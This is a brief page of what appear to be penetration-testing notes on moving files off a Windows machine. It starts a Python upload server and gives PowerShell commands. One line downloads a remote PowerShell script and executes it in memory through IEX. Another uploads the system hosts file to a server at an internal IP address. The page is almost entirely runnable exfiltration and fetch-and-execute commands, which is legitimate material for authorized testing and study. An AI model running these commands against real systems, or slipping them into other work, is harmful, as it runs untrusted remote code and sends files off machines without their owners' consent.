githubEdit

Using python to web uploads

Install:

pip3 install uploadserver

Start server:

python3 -m uploadserver

Upload file to python server using powershell

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
Invoke-RestMethod -Uri $Uri -Method Post -InFile $FilePath -ContentType "multipart/form-data"

Last updated